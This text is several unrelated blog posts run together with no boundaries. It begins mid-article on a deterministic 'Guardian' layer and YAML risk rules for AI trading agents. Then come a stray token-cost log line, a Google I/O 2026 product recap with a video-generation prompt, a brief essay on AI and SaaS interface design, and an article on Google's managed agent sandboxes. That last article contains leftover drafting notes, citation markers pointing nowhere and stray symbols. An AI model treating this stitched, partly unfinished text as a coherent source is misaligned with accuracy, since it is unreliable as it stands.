        if not proposed_trade:
            return

        # 2. Validate the suggestion with our deterministic rules
        if self._validate_trade(proposed_trade):
            # 3. Only if valid, execute the trade via the real broker API
            self.broker_api.place_order(proposed_trade)
        else:
            # Log the rejected trade for analysis
            pass

This architecture is powerful because it’s simple. The Guardian is dumb. It doesn’t know about market sentiment or alpha. It only knows its rules. And that’s its strength.

YAML Guardrails: Your Rules as Code

Where do the Guardian’s rules come from? You could hard-code them, but that’s inflexible. A much better approach is to define them in a separate configuration file, like YAML.

This separates your strategy logic (the AI) from your risk logic (the rules). You can tighten your risk parameters during volatile markets without ever touching or redeploying your Python code.

Here’s an example guardrails.yaml file:

# --- guardrails.yaml ---
# These are the UNBREAKABLE rules for our trading agent.
# The Guardian class will enforce these on every single trade proposal.

# Portfolio-level risk
max_daily_drawdown_percent: 5.0      # Stop all trading if account is down 5% on the day.
max_concurrent_positions: 4          # No more than 4 open positions at once.
max_portfolio_leverage: 2.0        # Don't let total position value exceed 2x account equity.

# Trade-level risk
max_trade_size_usd: 1000.00          # Max value of any single trade.
max_trades_per_hour: 10              # Prevents frenzied trading.
max_trades_per_day: 50               # Daily sanity check.

# Asset-level risk
allowed_symbols:
  - 'BTC/USD'
  - 'ETH/USD'
  - 'SPY'
  - 'QQQ'
# The agent CANNOT trade anything not on this list. No weird penny stocks.

# Kill-switch
trading_enabled: true                # A global kill-switch to halt all new trades instantly.

Your Guardian class simply loads this YAML file at startup. Now, your risk management is not only deterministic but also explicit and easily auditable.

Two-Phase Execution: Suggest and Approve

This entire system boils down to a simple, two-phase process:

  1. Suggestion Phase (Probabilistic): The AI agent does its complex work. It analyzes news, charts, and alternative data. It comes up with a trade idea. It packages this idea into a simple data structure, like a dictionary: {'action': 'BUY', 'symbol': 'BTC/USD', 'size': 0.1}. It then passes this proposal to the Guardian.

  2. Approval Phase (Deterministic): The Guardian receives the proposal. It has no idea why the AI wants to make this trade, and it doesn’t care. It mechanically checks the proposal against every rule in its guardrails.yaml file. Is the symbol allowed? Is the size too big? Are we over our daily loss limit? If every box is checked, it approves the proposal and translates it into a real order with the broker API. If even one rule fails, the proposal is discarded.

The AI suggests. The Guardian decides. This is the only sane way to let an AI manage money.

Chaos Engineering for Your Agent

Your system is still not complete. Now you have to try and break it. This is the principle of Chaos Engineering, famously pioneered by Netflix. What happens when things go wrong?

  • What if the price feed API glitches and reports Bitcoin’s price is $0.01? Your AI might try to buy a trillion dollars’ worth. The Guardian’s max_trade_size_usd rule should catch this and reject the trade.
  • What if your broker’s API is down and returns 500 errors? Does your agent keep trying to place the same order a thousand times a second? The Guardian should have logic for handling API failures gracefully, perhaps with a limited number of retries and an exponential backoff.
  • What if the news API your LLM depends on goes offline? Does your agent hallucinate a reason to trade based on stale data? Your Guardian could have a rule like max_data_staleness_minutes: 5, preventing trades if the underlying data is old.

Intentionally simulate these failures in a testing environment. Feed your Guardian bad data. Unplug its APIs. See if the guardrails hold. If you can’t break it, you might be ready to let it run with real, but small, amounts of money.

We’ve implemented this exact philosophy in our own tools. You can see a real-world example of a bot built with these principles—our RVV (Relative Volume and Volatility) bot—which uses deterministic rules to trade breakouts, completely free of probabilistic AI. The guardrail concept is universal.

The Future is Guarded

AI has the potential to unlock incredible new strategies in trading. But raw, unconstrained AI is a financial weapon of mass destruction pointed at your own account.

By building a clear architectural separation between the creative AI and a deterministic Guardian, you can harness the power without succumbing to the risk. Stop trying to make your AI “safer.” Instead, build a cage of unbreakable rules around it and let it do its work, knowing that your capital is protected by cold, hard, deterministic logic.

Author Bio:

I’m a quantitative developer and the founder of NEXUS Algo, where I’m building a professional-grade toolkit for creating, testing, and deploying AI trading agent guardrails. We’re launching a comprehensive course on this topic soon: AI Guardian: Build, Test & Deploy Safe AI Trading Agents.
[tokens: in=281 out=2528 thinking=1954 | cost=$0.0452]

Google I/O 2026: What Happens When Everything Connects?

This is a submission for the Google I/O Writing Challenge

Google I/O 2026 showed us something that goes beyond a list of launches: a vision of where technology is heading.

Image source: Image created by the author

____________

Sundar Pichai (Google CEO) opened the presentation sharing some interesting numbers about the *evolution of AI with Google statistics that you can see in the following infographic.

Image source: Infographic created by the author

____________

But let’s get back to the event…
Over two hours, Google announced a wide range of products, updates and platforms. From new AI models to smart glasses, from music generation tools to a digital twin of the entire planet.
What stands out is not any single product on its own, but the way they are designed to work together. Most of them are not meant to exist in isolation but to integrate with each other and with the models Google is deploying across its ecosystem.

Below you will find all the launches organized by category, with my take on each one and direct links to the exact moment in the keynote where it was announced.

🧠 Models & Infrastructure

Behind almost everything presented at Google I/O 2026 has the same foundation: more advanced models and an infrastructure designed to scale new forms of interaction between people and systems.

Image source: Image created by the author

____________

Gemini Omni

The first model that allows you to modify videos using natural language, with inputs that can be images, text or video. But it is not just about understanding text, images, audio and video at the same time; it is about reasoning over all of them together to generate something new.
What sets it apart from any previous video generator is that it combines an intuitive understanding of physics with real knowledge about history, science and cultural context. So you can take a video you recorded and ask it to change what happens in it, edit the action, add characters, transform a moment into something completely unexpected.

📍 Gemini Omni → 17:15

• • • •

Gemini 3.5 Flash

Gemini 3.5 Flash is the direct evolution of the main line of large language models (LLM) from Google, optimized to deliver ultra-high speed performance, advanced logical reasoning capabilities and code orchestration. It is an ideal model for building autonomous agents capable of executing complex task flows in the background, writing code, processing large text contexts or powering searches.
All of this while being four times faster than comparable models, which makes it the option specifically designed for agentic tasks.

📍 Gemini 3.5 Flash → 23:43

🤖 Agents & Productivity: Your Digital Life, Managed

This is one of the categories I enjoyed the most, featuring several tools that change the way we work and organize our daily tasks.

Image source: Image created by the author

____________

Gemini Spark

Gemini Spark is a personal AI agent that runs tasks in the background, across all your applications, without you having to supervise every step. With Spark you can organize an event, manage a chain of emails, coordinate a complex task across multiple services.
It also connects with external tools through the open MCP protocol, which extends its reach beyond the Google ecosystem.

📍 Gemini Spark → 35:18

• • • •

Daily Brief

Google has been offering AI summaries for a while, but Daily Brief is something different. Instead of summarizing a document you provide, it reads your chats, your Gmail emails, your calendar context and your pending tasks, and then prioritizes what matters for your day. The difference between a generic summary and one that actually understands your context is significant, and that is exactly what Daily Brief proposes.

📍 Daily Brief → 1:15:06

• • • •

Ask YouTube

Ask YouTube changes the search bar we know on YouTube into a conversation. You can ask for a summary, a specific recommendation, or request to find exactly what you need at a precise moment without watching the full video.
What I find most interesting is the impact on creators. The algorithm can now understand the deeper context of content and recommend videos that used to stay hidden behind generic titles. For creators, this is an opportunity, and for content consumption in general, it changes the way we interact with the platform.

📍 Ask YouTube → 7:41

• • • •

Docs Live

Docs Live changes the way we create documents. While it’s already possible to create content using Gemini’s voice input options, this solution lets you share your ideas aloud, and Gemini will start creating a document, formatting, structuring, and writing the text in real time.
The key difference from Gemini’s existing voice input is that the result isn’t a chat response; it’s a properly formatted Google Docs document, complete with headings, lists, and a professional structure right from the start.

📍 Docs Live → 9:14

🔍 Search & Commerce: Your Next Purchase Will Be Made by an Agent

AI search is already part of our daily routine, but this year Google took it further, turning search from a simple query into an agent that can look for information and even make purchases on your behalf.

Image source: Image created by the author

____________

AI Search Box

The new search box is no longer limited to text. It now accepts images, files, videos and even Chrome tabs as input. It may seem like a small change, but it completely transforms the experience of searching for something, powered by the new Gemini 3.5 Flash models.

📍 AI Search Box → 46:05

• • • •

Search Agents

Search agents are a feature that, in my opinion, will become essential without many people noticing at first. They are background agents that you can set up to monitor specific topics, such as the value of a stock you are tracking, a flight route for an upcoming trip, or a property you want to rent in a specific neighborhood.

If the agent detects changes, it can summarize the information and notify you. It can pick up updates from blogs, news sites, social media, and real-time data on finance, shopping and sports.
This changes the current experience we have with Google Alerts, which were based only on keywords, since it takes both alerts and information retrieval to a much more advanced level.

📍 Search Agents → 47:48

• • • •

Generative UI in Search

This announcement is quite interesting because information can already be accessed through agents, chats or other channels, but the main idea is to provide an interface that is intuitive for users to interpret that information. Instead of returning a list of links, Search can now build a personalized interactive interface for complex queries. Here you can get a live comparison table, a dynamic chart or an interactive explanation, all generated in real time for your specific question.

📍 Generative UI → 51:17

• • • •

Universal Cart & UCP + AP2

Google is redefining the online shopping experience with two announcements. On one hand, Universal Cart turns the shopping cart into something where you can add products, and the system then works in the background autonomously, monitoring price drops, analyzing price history and notifying you when an item becomes available again.

On the other hand, the Universal Commerce Protocol (UCP) establishes an open standard that allows all of this to scale beyond Google. It creates a common language for agents and systems to work together across the entire shopping process, from finding a product to post-purchase support, connecting consumer platforms, businesses and payment providers.

UCP is compatible with other key ecosystem protocols such as Agent2Agent (A2A), Agent Payments Protocol (AP2) and Model Context Protocol (MCP), positioning it not as a Google tool, but as the infrastructure for agentic commerce.

📍 AP2 Protocol → 1:01:17
📍 Universal Cart → 1:03:13

🎬 Creative Tools: Can anyone make a movie today?

Content creation was another area where the shift in focus at Google I/O 2026 became very clear. It is not just about generating images, music or video, but about how these tools are starting to integrate into a continuous creative flow, closer to a conversation than to a technical process.

Image source: Image created by the author

____________

Google Flow

Google Flow is a creative platform developed by Google that allows users to generate, edit and compose videos, images and music from prompts or images. In its latest update, it integrates with Gemini Omni to take video editing to a more conversational level, allowing you to change environments, add characters, and generate 16 different camera angles from a single image.

📍 Google Flow → 1:28:08

• • • •

Flow Music

Flow Music is a generative tool that allows users to compose songs and create full music videos from prompts. It also lets you provide a reference recording and build a complete track around it, edit it section by section, reimagine the style of a song while keeping its original melody, or create music videos by directly conversing with the agent.
I think it is an ideal tool for independent artists who develop games, apps or video content and want to create using AI.

📍 Flow Music → 1:31:01

• • • •

Stitch

Google Stitch is a tool developed by Google Labs that uses AI to design user interfaces (UI/UX). These designs can be exported directly to code, Figma, Google Antigravity or Google AI Studio. The design process is driven by instructions that can be given through text or voice, and it is generated in real time.

📍 Stitch → 1:25:36

• • • •

Google Pics

Google Pics is a new image creation and editing tool based on Nano Banana, Google’s model for this type of task. It allows users to select and edit specific elements with precision, such as moving objects, changing colors, or transforming one element into another without affecting the rest of the image.

Without a doubt, it is a very useful tool for content creators, making it easier to modify and edit images using text instructions.

📍 Google Pics → 1:24:20

⚙️ Developer Tools & Hardware

This section is perhaps one of the most diverse of the event, as it combines developer tools with consumer hardware that is still in active development. It ranges from systems capable of coordinating code agents at scale to devices that start bringing Gemini interactions directly into the physical world.

Image source: Image created by the author

____________

Antigravity 2.0

Antigravity 2.0 is a native desktop application that works as a central platform for coordinating multiple sub-agents running tasks in parallel. The keynote demo showed one of the most complex examples, building an operating system from scratch, and this tool allows you to create a plan and define how sub-agents should run in parallel in order to achieve the goal.

📍 Antigravity 2.0 → 26:55

• • • •

CodeMender

CodeMender is a security tool originally developed by Google DeepMind. The tool scans code, identifies vulnerabilities autonomously, recommends fixes, tests them in a safe environment, and can apply the necessary patches with your approval at each step.
📍 CodeMender → 1:45:58

• • • •

Audio Glasses

Audio glasses, developed with Samsung and designed in collaboration with Gentle Monster and Warby Parker, allow you to use Gemini without a screen and without taking your phone out. With these glasses, you can ask about a restaurant you just passed, get step-by-step directions, manage calls and messages, take photos with a voice command, or use the apps installed on your phone.
📍 Audio Glasses → 1:34:32

• • • •

Display Glasses & Android XR

Display Glasses go one step further: they include micro-projectors built into the lenses that overlay useful information on the real world, such as navigation maps or real-time translations on signs, among other features.
Meanwhile, Android XR is the operating system platform that powers these devices, developed with Samsung and Qualcomm. It is still in a trusted testers phase, with a wider rollout expected later this year.
📍 Android XR / Display Glasses → 1:33:15

🔬 Science: What Happens When AI Never Stops Researching?

This was, for me, the most important section of the event. The following initiatives from Google apply AI to problems that go far beyond personal productivity, from accelerating scientific research to modeling the global climate and rethinking the process of drug discovery.

Image source: Image created by the author

____________

Gemini for Science

Gemini for Science is a research acceleration platform that allows scientists to stay up to date with newly published papers, turn research goals into executable code, and generate new hypotheses. It is still in a prototype phase in Google Labs, but the concept is what matters: AI is not presented as a replacement for scientific thinking, but as infrastructure that removes friction from the early stages of research, enabling literature search, synthesis of papers, and translation of hypotheses into experiments.
A researcher who can stay updated in real time across their entire field and automatically translate a hypothesis into an experiment is a researcher who can focus on more meaningful work.

📍 Gemini for Science → 1:46:37

• • • •

AlphaEarth Foundations & WeatherNext

AlphaEarth Foundations is a model developed by Google DeepMind that works as an interactive digital twin of the Earth, powered by real-time satellite data, climate sensors, ocean readings, and biodiversity records. Meanwhile, WeatherNext is its atmospheric counterpart, a weather forecasting engine capable of predicting hurricane paths and extreme weather events with greater accuracy and speed than traditional systems.
These models were presented at the conference as examples of how Google’s AI technology can be applied to solve problems that affect billions of people around the world.

📍 AlphaEarth + WeatherNext → 1:46:37

• • • •

Isomorphic Labs

Isomorphic Labs, the biotechnology company within Alphabet (a sister company of Google DeepMind), continues to build on AlphaFold. This is an AI system developed by DeepMind that enables the prediction of protein structures.
It is another example of how Google’s technology is being applied in the pharmaceutical industry, helping to significantly accelerate research and molecular design for treatments against cancer and complex immune disorders.
In the keynote, this work was described as “science at digital speed”, where AI acts as a tool to understand biological systems that were previously impossible to model directly.

📍 Isomorphic Labs → 1:46:37

• • • •

SynthID

SynthID is Google’s invisible watermarking system for AI-generated content. This label is added to images, videos and audio at the moment of creation, allowing anyone or any system to later verify whether something was generated by AI.
This announcement is important not only from a safety perspective, but also because it is being adopted as a standard by companies such as OpenAI and ElevenLabs.

📍 SynthID → 21:06

What I’m Most Excited to Try

If I had to choose the three announcements I will follow most closely:

🛒 Universal Cart & UCP + AP2

These two announcements will change the way we shop online. For years, we have designed experiences for human users: visual interfaces, marketplaces, recommendations and conversion funnels. But Google is proposing something different: agents capable of discovering products, evaluating options, monitoring prices and executing purchases on our behalf.
This means ecommerce is no longer only a human platform interaction, but starts to become an ecosystem where agents also participate as consumers.
I do not think these solutions will replace traditional commerce overnight, but they will deeply change how trust is built, how products are presented, and how companies compete for attention, not only from people but also from intelligent agents.

🔍 Search Agents

Traditional alerts have always been passive: they depended on exact keywords and often generated more noise than context. This is one of the announcements I will probably follow most closely because it completely changes that logic.
Instead of manually searching for information, you can now delegate the monitoring of a topic to a system that understands intent, relevance and meaningful changes. An agent that continuously tracks the internet in the background.
And the more I think about it, the clearer it becomes that this might be one of the most important features of the keynote, precisely because it will quietly integrate into our daily routine.

• • • •

🧬 Gemini for Science

Of everything announced, this is probably the project with the deepest potential impact.
Modern scientific research has a silent problem: the speed of knowledge has already surpassed human capacity to absorb it. Thousands of papers are published every week, information is fragmented, hypotheses are scattered, and entire weeks are spent just trying to stay updated.
Gemini for Science proposes something fundamentally different: turning AI into infrastructure for research.
The ability to translate scientific literature into actionable hypotheses, generate experimental code, connect discoveries across disciplines and accelerate research processes could completely change the scale at which science progresses.
Because perhaps the most important application of artificial intelligence is not to automate work, but to accelerate human knowledge.

🎥 What I Actually Tried: Google Flow

Most of the announcements that caught my attention were related to systems, agents and infrastructure. But beyond the long term vision, I also wanted to understand what it actually feels like to interact with one of these tools in practice.
So instead of just describing them, I decided to try one myself. I opened Google Flow and started experimenting with a short video prompt, and for a moment, I found myself living that childhood idea of creating my own animation.

Image source: Image created by google flow

____________

While doing this, I could not help but think about how tools like this could evolve beyond individual experimentation. In the future, they might become part of how schools teach storytelling, narration and creative thinking, helping children express ideas through visual and generative tools. At the same time, it also raises an interesting challenge: how younger generations will learn to use these systems in a way that is both creative and intentional, rather than just consumptive.

What the Experience Felt Like

The result was an 8 second clip and honestly, the quality surprised me. With a fairly simple prompt describing a scene, the model generated something that looked cinematic and coherent. The prompt itself was also AI generated, and I am leaving it in the appendix at the end of this article in case you want to replicate the experiment.
A few things stood out from the experience.
The 8 second limit felt a bit frustrating at first. But after thinking about it, I am not sure if that is a limitation of Flow or simply how professional video production works. Scenes in film and TV are often short clips that are later assembled in post production. Flow seems to follow that same logic, where you build a story by connecting multiple clips instead of generating one long video in a single shot.

In a previous test, I was able to concatenate two clips, and what impressed me the most was the character consistency between them. The same character appeared in both scenes without drifting, keeping the same look and style. That is actually one of the hardest problems in AI video generation today: maintaining character consistency across different prompts. Flow’s approach of letting you define and save a character that can later be reused across scenes feels like a real step forward. Whether it can maintain that consistency across longer or more complex sequences is something I still want to keep testing.

How I Tested It

Under the hood, I used Gemini Omni Flash as the base model, with an 8 second duration, 2x speed and a 16:9 aspect ratio.
Each generation costs 50 credits, which gives a more concrete sense of the cost per clip when planning a longer project. The tool also allows direct publishing to YouTube and lets you select a custom thumbnail, making the end to end workflow surprisingly complete for a creative platform.

🔮 How far do we want to go?

Google I/O 2026 presented a series of solutions, models and use cases where artificial intelligence is becoming more deeply integrated into our daily lives. But while watching each demo, one broader question kept coming to my mind:

How far do we really want to go?

Because many of these tools do not only automate tasks, they also start to reorganize how we access information, how we make decisions and how we interact with the digital world.

What stood out the most was not each announcement on its own, but what happens when you look at them together. Agents that run in the background, search that becomes conversational, interfaces that adapt to context in real time. Not as isolated products, but as parts of a system that is still being built.

And in any system, what matters is not only each component, but how they connect with each other and what kind of emerging behavior appears when they start interacting.

Google showed the pieces based on AI.

What is still being defined is the full system: its direction, its shape, and how it will integrate into our daily lives and work.
And maybe that is the most important part of this new era: it is not only about what technology is capable of building, but about how each of us decides to interpret it, use it, and become part of it.

⚠️ A note on process and transparency

I am an organizer at GDG Barcelona, and I led the event where we brought together 37 people to watch the full Google I/O 2026 keynote live. That experience, I was able to follow the announcements in real time, listening to the reactions in the room … is what shaped the perspective and opinions in this article.

This article is also based on the official sources listed in the references section, which I read and consulted directly after the event to verify and expand on each announcement.

All the visuals in this article were designed by me using Figma Design, because creating my own images is something I genuinely enjoy as part of my writing process. AI tools were used for text correction and translation assistance and all opinions, analysis and perspectives are my own.

📚 References

📄 Appendix

This is the AI-generated prompt I used to create the video in Google Flow. I am including it here so you can replicate the experiment or explore it further.

A short animated intro video, 15 seconds. Chibi anime art style — soft cel-shading, vibrant neon colors, cinematic lighting, dark moody atmosphere. Think Lo-Fi anime meets cyberpunk gamer aesthetic.
Character: A small chubby panda in chibi style. Oversized black hoodie with hood down while walking, round panda ears visible on top. Serious and unbothered expression. Tiny paws. Soft black and white fur with subtle neon light reflections. This is a developer panda — cool, focused, says nothing.
Scene 1 — 0:00 to 0:05: Wide shot of a dark misty forest at night. A distant neon city skyline glows purple and cyan through the trees. Fog rolls along the ground. The panda walks alone from the right side of frame through a forest path, hands in hoodie pocket, completely unbothered. He approaches a large mossy rock formation — a hidden cave entrance covered by hanging vines with faint bioluminescent blue glow. He pushes the vines aside and steps in. Slow cinematic cut to black.
Scene 2 — 0:05 to 0:10: Interior of the cave — full gamer setup. RGB neon strips in Google colors (blue, red, yellow, green) line the rocky cave walls casting dramatic colored light on everything. A dark stone desk holds a glowing MacBook Pro, mechanical keyboard with RGB backlighting, mouse with neon underglow, and stacked empty energy drink cans. The panda walks to the desk, drops his backpack on the floor. Pulls out the chair and sits down. He opens the MacBook — a burst of white light floods his face and the cave. He slowly reaches to the side, picks up thick black sunglasses and puts them on. Then places large black headphones over his panda ears. He cracks his tiny paw knuckles. Leans forward. The RGB strips pulse once in sync.
Scene 3 — 0:10 to 0:15: Ultra slow cinematic push-in toward the MacBook screen. The cave darkens around it. The screen fills the entire frame glowing bright. Bold text appears: "GOOGLE I/O 2026 — THE AGENTIC ERA IS HERE" in clean white typography on dark background. Neon blue and green light pulses around the text edges. Below it, six glowing color blocks appear one by one with smooth fade-ins: MODELS · AGENTS · SEARCH · CREATIVE · DEV · SCIENCE. Each block in its Google neon color, white bold uppercase text, subtle neon glow border. Final frame holds 2 seconds with all blocks visible, neon pulsing softly. Fade to black.
Lighting & mood throughout: Dark, moody, cinematic. Neon reflections on all surfaces — the panda's fur, the cave walls, the desk. Color palette: deep black backgrounds, cyan #00F5FF, neon green #39FF14, Google blue #4285F4, Google red #EA4335, Google yellow #FBBC04, purple #BF5FFF. Inspired by cyberpunk anime aesthetics — think lo-fi coder vibes meets Akira color palette.

`

Why AI writes software but doesn’t build a good product

If you believe Death by Claude, Trello, Notion, and other tools are “already dead.” When I read that and realized that many people are declaring SaaS dead for reasons like these, I thought: Why should I prefer an ugly but functional solution that Claude Code or Claude Design can build for me in minutes to a tool that’s been developed over years and optimized in terms of UI and UX?

Whether we’ll still be using tools like Trello or Notion in 10 years depends heavily on how good AI becomes in the area that’s currently still in its infancy: user interface and user experience. Sure, Claude can already write clean code and generate real software within a few days. But would anyone actually want to use it? Frello is the best example: I’ve invested most of my time in precisely the areas where AI is practically useless. User interface and security.

Colors, typography, and the combination of both are the least of it, and simultaneously the first area where AI is naturally very weak. The heart of Frello, the task workflows, team communication, the detailed view of a task, AI could never have mastered. Never. Perhaps that will change someday, but currently: no chance. In this respect, Claude is like a friend or colleague whose opinion you ask, but on whose basis you would never make a fundamental decision.

There are certainly plenty of examples when it comes to security. Claude almost replaced my entire policy at Supabase once, making sensitive data available to all users — data that is normally restricted to certain groups. But that’s another story.

You surely understand the point I’m making. Will AI ever be able to write software that looks or functions really well? I’m not so sure. But we should probably ask ourselves: Do we want innovation in the future, or mass-produced products that all feel and function the same? Wouldn’t stagnation be something that just doesn’t suit us humans at all?

Hmmm.

Beyond the Hype: How Google I/O 2026 Secretly Democratized Production-Ready AI Agents with Managed Sandboxes.

While the tech world is hyping up consumer benchmarks from Google I/O, backend engineers are missing the real architectural leap. Google quietly solved the ultimate agentic nightmare—untrusted code execution—by baking native, ephemeral, and air-gapped Linux sandboxes straight into their SDK. Here is a look at the DevOps infrastructure you no longer have to build yourself.📝

The Core Problem: The Architectural Nightmare of Untrusted Code To appreciate Google’s update, we must look at the current state of building code-executing AI agents
[1].If you tell a model to “analyze this CSV and generate a chart,” it cannot just output text [1]. It needs to write Python code, install libraries, and run the script [1].For a backend engineer, letting an LLM execute arbitrary code on a server is the ultimate security nightmare. Building a secure, in-house environment to handle this introduces three massive architectural roadblocks.1. The Container Lifecycle Trap (Docker Management)Managing Docker containers programmatically at scale is a DevOps quagmire.The Reality: You must build a custom queue system to spin up containers on demand.The Friction: Containers must be provisioned instantly to avoid killing user experience.The Payload: Keeping a pool of warm containers active destroys your cloud budget.The Cleanup: You have to write complex garbage collection logic to ensure dead containers are completely wiped and destroyed after every session.

  1. The Sandbox Prison (Resource Throttling)An LLM can easily generate a broken loop or an overly aggressive script, either by accident or via prompt injection.The Risk: A infinite while loop will instantly peg your CPU at 100%.The Threat: A script could attempt to allocate gigabytes of memory, triggering Out-Of-Memory (OOM) killer events that take down adjacent services.The Nightmare: You are forced to configure complex cgroups, kernel-level resource limits, and aggressive execution timeouts just to keep a single rogue agent from crashing your entire cluster.
  2. Air-Gapping the Network (Networking Locks)An AI agent running code must be completely blind to your internal network.The Vulnerability: Without strict network isolation, a compromised agent can scan your internal ports.The Data Leak: It can reach out to your internal databases, call private microservices, or scrape cloud metadata endpoints (like AWS IAM or Google Cloud metadata).The Overhead: Securing this requires meticulous VPC configuration, strict network security policies, and total air-gapping. This leaves the agent completely blind, making it incredibly difficult to securely fetch the legitimate external dependencies (like npm or pip packages) it actually needs to do its job.

Beyond the I/O Sugar Rush: Why the Real Breakthrough is Infrastructure It is easy to get swept up in the immediate Google I/O sugar rush. The tech headlines are rightfully dominated by the flashy consumer milestones: the raw speed of Gemini 3.5 Flash, the uncanny multimodality of the Gemini Omni model, and the cinematic realism of Veo 3.But as backend engineers, we know that benchmark charts and text-to-video demos don’t build stable production systems. While the frontend community marvels at what these models can say, the real architectural leap lies in how Google is finally allowing them to execute. Away from the main stage, the truly revolutionary update isn’t a smarter model—it is the secure, isolated infrastructure built to run them.

No hyper-focusing on flashy consumer-facing releases like Gemini 3.5 Flash, the Gemini Omni multimodal model, and Veo 3, developers are missing the foundational shift happening in the backend. My entry is on isolated sandbox provisioning and runtime environments.

What most people are Overlooking/
The most underrated announcement is the native Sandbox Provisioning and Agent Harness Infrastructure built to run AI agents like “Jules” (Google’s new AI for coding).

Instagram
(Kyerimen).
Most developers look at coding agents and see text generation. A highly analytical submission should expose the actual engineering bottleneck Google solved: execution safety and orchestration.
A few can write an article reviewing Gemini 3.5 benchmarks. High-value entries analyze how software runs. Google is now firing up isolated Linux VMs with a fresh filesystem for agent execution on demand.
Zero-Configuration DevOps: Previously, if a developer wanted to build a secure coding agent that writes, tests, and executes code safely, they had to spend weeks configuring complex Docker files and gVisor isolation barriers. Google has quietly baked this heavy-lifting DevOps infrastructure directly into their developer console tools.
The Embedded “Critic” Layer: This underlying runtime environment includes a hidden, baked-in reasoning loop that uses a secondary verification layer to catch logic errors before returning agent outputs to a developer’s codebase

I say that the real architectural leap happened in a 90-second developer keynote demo regarding how agents actually execute code safely.
The Deep Dive—The Managed Agent Sandbox: Explain how Google’s system spins up automated Linux sandboxes, executes tasks, applies a built-in code reviewer loop, and safely tears down the state in under two minutes.
Why It Matters is ,,,”that this completely eliminates the need for developers to engineer complex backend infrastructure just to let an LLM interact with a terminal”.

The Architecture: Old vs. New Agent Execution To understand why Google’s managed infrastructure is a game-changer, we have to look at how backend engineers previously handled agentic code execution versus how Google handles it now.The Old Way (The DevOps Nightmare)Previously, letting an LLM execute code safely meant building and maintaining your own complex, high-latency containment layer:
[User Request]
│
▼
[Your Backend App] ──(API Call)──► [Stateless LLM]
│ │
(Receives Code) (Returns Code String)
│ │
▼ ◄┘
[Custom Docker Queue]
│
├─► [gVisor / Sandbox Isolation]
├─► [Resource Throttling Monitor]
└─► [State Serialization Middleware]

The New Way (Google’s Ephemeral Agent Sandbox)Google eliminates the middle tier. Your backend remains thin and secure, delegating the risky, stateful execution to a managed, isolated runtime:
[Your Backend App] ──(Single SDK Call)──► [Google Agentic Infrastructure]
│
┌──────────────────────────┴──────────────────────────┐
▼ ▼
[Gemini Orchestrator] [Ephemeral Linux Sandbox]
│ │
├─► (Generates Code Script) ─────────────────────────►├─► (Executes in Isolation)
│ ├─► (Maintains Local State)
◄─ (Intercepts Runtime Errors for Self-Correction) ───┤
│ ▼
└───────────────────(Returns Safe Output)────────► [Tears Down Sandbox]
The Architectural Data Flow The Hand-Off: Your backend triggers a task via the SDK. You do not provision servers, manage container lifecycles, or configure networking rules.The Ephemeral Spin-Up: Google instantly provisions an isolated, restricted Linux sandbox with a local file system dedicated to that specific session.The Local Feedback Loop: The agent writes code directly to this local environment. If a execution error occurs, a secondary verification layer (the “Critic”) catches the standard error (stderr) and pipes it back to the agent for autonomous debugging.The Safe Return & Burn: Once the task is successfully completed, the final validated output is sent to your backend, and the entire sandbox environment is immediately destroyed. –>